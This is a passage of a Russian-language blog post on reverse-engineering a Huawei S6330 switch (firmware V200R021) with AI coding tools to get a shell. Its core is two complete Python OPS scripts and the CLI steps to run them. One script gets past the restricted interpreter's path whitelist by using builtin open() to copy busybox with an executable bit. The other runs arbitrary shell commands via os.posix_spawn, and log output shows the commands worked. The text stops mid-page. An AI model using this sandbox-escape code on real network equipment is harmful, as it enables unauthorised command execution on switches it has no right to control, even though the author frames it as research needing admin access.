{"id":489934,"date":"2026-08-06T00:06:59","date_gmt":"2026-08-06T00:06:59","guid":{"rendered":"https:\/\/savepearlharbor.com\/?p=489934"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=489934","title":{"rendered":"\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 shell \u0438 root shell \u043d\u0430 \u0441\u0432\u0438\u0442\u0447\u0435 Huawei S6330 \u0441 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u043e\u0439 V200R021"},"content":{"rendered":"<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u0412 <a href=\"https:\/\/habr.com\/ru\/articles\/1063724\/\" rel=\"noopener noreferrer nofollow\">\u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435<\/a> \u0431\u044b\u043b\u043e \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043d\u043e \u043a\u0430\u043a \u201c\u0432 \u0442\u0440\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u201d \u0431\u044b\u043b \u043f\u043e\u043b\u0443\u0447\u0435\u043d shell \u0434\u043b\u044f \u0441\u0432\u0438\u0442\u0447\u0430 SNR-2990X-24FQ (OEM DCN), \u0432 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043d\u043e \u043e \u0431\u043e\u043b\u0435\u0435 \u0441\u043b\u043e\u0436\u043d\u043e\u043c \u0440\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u0438\u043d\u0433\u0435 \u0441\u0432\u0438\u0442\u0447\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u0442\u043e\u043f-\u0432\u0435\u043d\u0434\u043e\u0440\u043e\u0432 \u0432 \u043c\u0438\u0440\u0435 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0441\u0430\u043c\u0430 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0430 \u0443\u0436\u0435 \u0443\u0441\u0442\u0430\u0440\u0435\u043b\u0430 (\u043d\u043e\u044f\u0431\u0440\u044c 2021 \u0433\u043e\u0434\u0430), \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0435 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u0441\u0451 \u0435\u0449\u0451 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438 \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c\u043e\u0433\u043e \u043c\u0435\u0442\u043e\u0434\u0430, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0448\u0438\u0440\u0435, \u0447\u0435\u043c \u043e\u0434\u0438\u043d \u0441\u0432\u0438\u0442\u0447 \u0441 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0435\u0439 \u041f\u041e. \u0427\u0442\u043e \u0438\u043c\u0435\u0435\u043c \u043d\u0430 \u0441\u0442\u0430\u0440\u0442\u0435: \u0441\u0432\u0438\u0442\u0447 Huawei S6330-H48X6C, \u041f\u041e V200R021C00SPC100, \u043f\u0430\u0442\u0447 V200R021SPH180.<\/p>\n<p>\u0414\u0438\u0441\u043a\u043b\u0435\u0439\u043c\u0435\u0440: \u041e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0443\u0436\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u0430\u0432 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0438 \u043d\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u043d \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0430 \u043d\u0435 \u043a\u0430\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.<\/p>\n<p>\u0412 \u0434\u0430\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u041f\u041e shell \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d, \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 diagnose \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 shell-command.<\/p>\n<p>\u041d\u0430\u0447\u0430\u043b\u043e \u0440\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u0438\u043d\u0433\u0430: \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u043c \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u0441\u043e \u0441\u0432\u0438\u0442\u0447\u0430 (.cc-\u0444\u0430\u0439\u043b), \u043e\u0442\u0434\u0430\u0451\u043c \u0435\u0451 DeepSeek v4 Pro (Ultra) (\u0447\u0435\u0440\u0435\u0437 \u0440\u043e\u0434\u043d\u043e\u0439 \u0434\u043b\u044f \u043d\u0435\u0433\u043e <a href=\"https:\/\/github.com\/KunAgent\/Kun\" rel=\"noopener noreferrer nofollow\">kun-agent<\/a>) \u043d\u0430 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0443, \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e \u0442\u043e\u043c\u0443, \u043a\u0430\u043a \u044d\u0442\u043e \u0434\u0435\u043b\u0430\u043b\u043e\u0441\u044c \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435, \u043a\u0430\u043a\u0438\u0445-\u0442\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0449\u0438\u0442 \u043e\u0442 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0438 \u043d\u0435\u0442, \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0451 \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043e\u0434\u043d\u0438\u043c binwalk, \u043d\u043e deepseek \u043f\u043e\u0442\u043e\u043c \u0440\u0430\u0441\u0441\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u0442 \u0444\u0430\u0439\u043b\u044b \u0438 \u0441\u0434\u0435\u043b\u0430\u0435\u0442 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043a \u043d\u0438\u043c. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f DeepSeek \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043e\u043d \u043e\u0447\u0435\u043d\u044c \u0434\u0451\u0448\u0435\u0432 \u0438 \u0435\u0433\u043e \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u0445\u0432\u0430\u0442\u0430\u0435\u0442 \u043d\u0430 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438.<\/p>\n<p>\u0414\u0430\u043b\u0435\u0435, \u0431\u044b\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432 \u043f\u043e\u0440\u044f\u0434\u043a\u0435 \u0432\u043e\u0437\u0440\u0430\u0441\u0442\u0430\u043d\u0438\u044f \u0438\u0445 \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u0438: DeepSeek, Cursor Composer 2.5, \u0437\u0430\u0442\u0435\u043c GLM-5.2 (MAX) \u0447\u0435\u0440\u0435\u0437 ZCode. \u041f\u0435\u0440\u0432\u044b\u0435 \u0434\u0432\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430, \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0432 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443, \u043d\u0435 \u0441\u043c\u043e\u0433\u043b\u0438 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432, \u0430 GLM \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b \u043f\u0435\u0440\u0441\u043f\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f shell &#8212; \u043d\u0430 \u0441\u0432\u0438\u0442\u0447\u0435 \u0435\u0441\u0442\u044c \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0430 <a href=\"https:\/\/info.support.huawei.com\/info-finder\/encyclopedia\/en\/OPS.html\" rel=\"noopener noreferrer nofollow\">OPS<\/a>, \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c python-\u0441\u043a\u0440\u0438\u043f\u0442\u044b \u043d\u0430 \u0441\u0432\u0438\u0442\u0447\u0435 \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 ZTP (zero touch provisioning). \u041a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0431\u044b, \u0437\u0430\u043b\u0438\u0432\u0430\u0435\u043c python-\u0441\u043a\u0440\u0438\u043f\u0442 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0433\u043e shell-\u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043d\u043e \u0434\u0430\u043d\u043d\u0430\u044f \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u0435\u043c python-\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f <a href=\"https:\/\/support.huawei.com\/enterprise\/en\/doc\/EDOC1100112347\/36aeecd5\/making-a-python-script\" rel=\"noopener noreferrer nofollow\">\u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 python<\/a>, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0451 \u0443\u0434\u0430\u043b\u0435\u043d\u043e, \u0430 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u0430\u043c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u0433\u043e \u0441\u043f\u0438\u0441\u043a\u0430, \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d, \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u0437\u044f\u0442\u044c \u0438 \u0432\u044b\u0437\u0432\u0430\u0442\u044c os.execv() \u043d\u0435\u043b\u044c\u0437\u044f: \u0435\u0451 \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435\u0442 (\u043a\u0430\u043a \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0441\u0442\u044b\u0445 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0442\u0438\u043f\u0430 system() \u0438\u043b\u0438 popen()).<\/p>\n<p>\u0414\u0430\u043b\u0435\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e GLM. \u041f\u0440\u043e\u0441\u0438\u043c \u0418\u0418 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0443 (\u0442\u0435\u0441\u0442\u043e\u0432\u044b\u043c \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c) \u0438 \u043f\u043e\u043d\u044f\u0442\u044c \u043a\u0430\u043a\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0432\u0441\u0451-\u0442\u0430\u043a\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u044b, \u0430 \u043a\u0430\u043a\u0438\u0435 \u043d\u0435\u0442. \u041f\u0435\u0440\u0432\u0430\u044f \u043d\u0430\u0445\u043e\u0434\u043a\u0430 &#8212; os.posix_spawn \u043d\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u0430, \u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0451 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \/bin\/sh \u0438 \u0437\u0434\u0435\u0441\u044c \u0443\u043f\u0438\u0440\u0430\u0435\u043c\u0441\u044f \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e python &#8212; \u0432 <code>libpython3.8.so<\/code> \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0443\u0442\u0438 (\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u043f\u0443\u0442\u0435\u0439, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0438\u0437 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432) \u043f\u0440\u044f\u043c\u043e \u0432 \u043e\u0431\u0449\u0443\u044e C-\u0444\u0443\u043d\u043a\u0446\u0438\u044e, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0432\u0441\u0435 \u043c\u0435\u0442\u043e\u0434\u044b <code>os.*<\/code> \u0441 path-\u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u043c. \u0420\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u043f\u0443\u0442\u0435\u0439: \/mnt\/flash, \/mnt\/sd, \/mnt\/usb, \/mnt\/vhdd, \/mnt\/squash, \/usr\/lib\/, \/dev\/urandom. \u0421 \/mnt\/flash \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0438\u0437 \u0440\u043e\u0434\u043d\u043e\u0433\u043e CLI-\u0441\u0432\u0438\u0442\u0447\u0430 &#8212; \u0437\u0430\u043b\u0438\u0432\u0430\u0442\u044c \u0432 \u043d\u0435\u0433\u043e \u0444\u0430\u0439\u043b\u044b, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0447\u0435\u0440\u0435\u0437 ftp\/sftp. \u041d\u043e \u0435\u0441\u043b\u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c shell (busybox) \u0432 \/mnt\/flash, \u0442\u043e \u0443 \u043d\u0435\u0433\u043e \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 executable-\u0431\u0438\u0442\u0430 \u0438 \u043f\u0440\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0435\u0433\u043e \u0447\u0435\u0440\u0435\u0437 \u0440\u043e\u0434\u043d\u043e\u0439 CLI \u043d\u0435\u043b\u044c\u0437\u044f. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0440\u0435\u0448\u0430\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u0438\u043c \u0438\u0437 \u0434\u0432\u0443\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432: \u0437\u0430\u043b\u0438\u0442\u044c busybox \u0432 \/mnt\/flash \u0438 \u043f\u043e\u0442\u043e\u043c \u0447\u0435\u0440\u0435\u0437 python-\u0441\u043a\u0440\u0438\u043f\u0442 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e, \u0441\u043e\u0437\u0434\u0430\u0432 \u043d\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b \u0441 executable-\u0431\u0438\u0442\u043e\u043c, \u043b\u0438\u0431\u043e \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0441 \u0440\u043e\u0434\u043d\u043e\u0439 \u0424\u0421 \u0438\u0437 \/bin. \u0412\u0442\u043e\u0440\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0443\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0432 \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044e \u043f\u0443\u0442\u0435\u0439, \u043d\u043e \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0442\u0435\u043c, \u0447\u0442\u043e \u043e\u043d\u0430 \u043d\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043a \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 open() (\u043d\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043a os.open()). \u0421\u043a\u0440\u0438\u043f\u0442 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f bash (\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f busybox) \u0432 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 \u0434\u043b\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0435\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 os.posix_spawn():<\/p>\n<details class=\"spoiler\">\n<summary>i.py (\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 busybox \u0432 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433)<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"python\">import opsimport osdef ops_condition(_ops):    _ops.timer.countdown(\"t\", 3)    return 0def ops_execute(_ops):    o = _ops    src = \"\/bin\/busybox.nosuid\"    dst = \"\/mnt\/flash\/$_user\/bash\"    # Copy \/bin\/busybox.nosuid to whitelist path with exec bit.    # - builtin open() reads any path (bypasses whitelist stat-patch)    # - os.open in whitelist path creates file with mode 0o755 (exec bit)    # - os.sendfile copies in-kernel (no OOM risk under 90MB cgroup)    try:        fin = open(src, \"rb\")        sfd = fin.fileno()        dfd = os.open(dst, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o755)        total = 0        while True:            n = os.sendfile(dfd, sfd, None, 1048576)            if n == 0:                break            total += n        os.close(dfd)        fin.close()        o.syslog(\"COPY_OK bytes=%d\" % total, ops.CRITICAL, ops.SYSLOG)    except Exception as e:        o.syslog(\"COPY_ERR \" + repr(e)[:200], ops.CRITICAL, ops.SYSLOG)        o.result(1)        return 1    o.result(0)    return 0<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:87px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<\/div>\n<\/details>\n<p>\u0414\u043b\u044f \u0442\u0435\u0445 \u043a\u0442\u043e \u043d\u0435 \u0437\u043d\u0430\u043a\u043e\u043c \u0441 busybox \u0438 \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0435\u0439 applet: \u0435\u0441\u043b\u0438 \u0444\u0430\u0439\u043b busybox \u043d\u0430\u0437\u0432\u0430\u0442\u044c bash \u0438\u043b\u0438 ash, \u043e\u043d \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043a\u0430\u043a shell, \u0430 \u0435\u0441\u043b\u0438 \u043d\u0430\u0437\u0432\u0430\u0442\u044c ls, \u0442\u043e \u043a\u0430\u043a ls, \u0442.\u0435. \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c \u043b\u0438\u0441\u0442\u0438\u043d\u0433 \u0444\u0430\u0439\u043b\u043e\u0432. \u041e\u0431\u044b\u0447\u043d\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442\u0441\u044f \u0437\u0430 \u0441\u0447\u0451\u0442 \u0441\u0438\u043c\u043b\u0438\u043d\u043a\u043e\u0432, \u043d\u043e \u043c\u043e\u0436\u043d\u043e \u0438 \u043f\u0443\u0442\u0451\u043c \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f.<\/p>\n<p>\u041f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043d\u0430 \u0441\u0432\u0438\u0442\u0447\u0435:<\/p>\n<pre><code># \u0437\u0430\u043b\u0438\u0432\u0430\u0435\u043c \u0444\u0430\u0439\u043b \u043d\u0430 \u0441\u0432\u0438\u0442\u0447, \u0434\u0430\u043b\u0435\u0435&lt;HUAWEI&gt;ops install file ftp\/i.pyInfo: The script file flash:\/ftp\/i.py is installed on the device successfully.&lt;HUAWEI&gt;sys[HUAWEI]ops[HUAWEI-ops]script-assistant python i.pyInfo: Executing user script... Please wait...Info: The script assistant i.py is installed on the device successfully.<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0412 \u043b\u043e\u0433\u0435 \u0432\u0438\u0434\u0438\u043c \u0442\u0430\u043a\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435:<\/p>\n<pre><code>%%01OPSA\/2\/SCRIPT_LOG(l)[0]:OPS: COPY_OK bytes=829144 (user=\"i.py\", session=836255288)<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u201cbash\u201d \u0447\u0435\u0440\u0435\u0437 \u0432\u0442\u043e\u0440\u043e\u0439 OPS-\u0441\u043a\u0440\u0438\u043f\u0442:<\/p>\n<details class=\"spoiler\">\n<summary>r.py (\u0437\u0430\u043f\u0443\u0441\u043a \u043a\u043e\u043c\u0430\u043d\u0434: echo HELLO; id; uname -a; pwd)<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"python\">import opsimport osimport timedef ops_condition(_ops):    _ops.timer.countdown(\"t\", 3)    return 0def ops_execute(_ops):    o = _ops    dst = \"\/mnt\/flash\/$_user\/bash\"    out = \"\/mnt\/flash\/_cmd.out\"    # Run a shell command via busybox bash applet.    # stdout+stderr captured to file via posix_spawn file_actions.    # Result read back via builtin open() and logged via syslog.    cmd = \"echo HELLO; id; uname -a; pwd\"    try:        os.unlink(out)    except Exception:        pass    dfd = os.open(out, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o644)    actions = [        (os.POSIX_SPAWN_DUP2, dfd, 1),        (os.POSIX_SPAWN_DUP2, dfd, 2),        (os.POSIX_SPAWN_CLOSE, dfd),    ]    argv = [dst, \"-c\", cmd]    pid = os.posix_spawn(argv[0], argv, {}, file_actions=actions)    os.close(dfd)    deadline = time.time() + 3    while time.time() &lt; deadline:        try:            wpid, status = os.waitpid(pid, os.WNOHANG)            if wpid != 0:                break        except ChildProcessError:            break        time.sleep(0.1)    time.sleep(0.2)    try:        with open(out, \"rb\") as f:            o.syslog(\"OUT \" + repr(f.read(460)), ops.CRITICAL, ops.SYSLOG)    except Exception as e:        o.syslog(\"OUT_ERR \" + repr(e)[:150], ops.CRITICAL, ops.SYSLOG)    o.result(0)    return 0<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<\/div>\n<\/details>\n<p>\u0414\u0435\u043f\u043b\u043e\u0439 \u044d\u0442\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u0447\u043d\u043e \u0442\u0430\u043a\u0436\u0435 \u043a\u0430\u043a \u0438 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e, \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0438\u0437 \u043b\u043e\u0433\u0430:<\/p>\n<pre><code>%%01OPSA\/2\/SCRIPT_LOG(l)[0]:OPS: OUT b'HELLO\\nuid=102(normal) gid=102(normalg) groups=0(root)\\nLinux localhost 4.4.240 #1 SMP PREEMPT Fri Jul 2 17:52:12 CST 2021 aarch64 GNU\/Linux\\n\/usr\\n' (user=\"r.py\", session=836255520)<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img 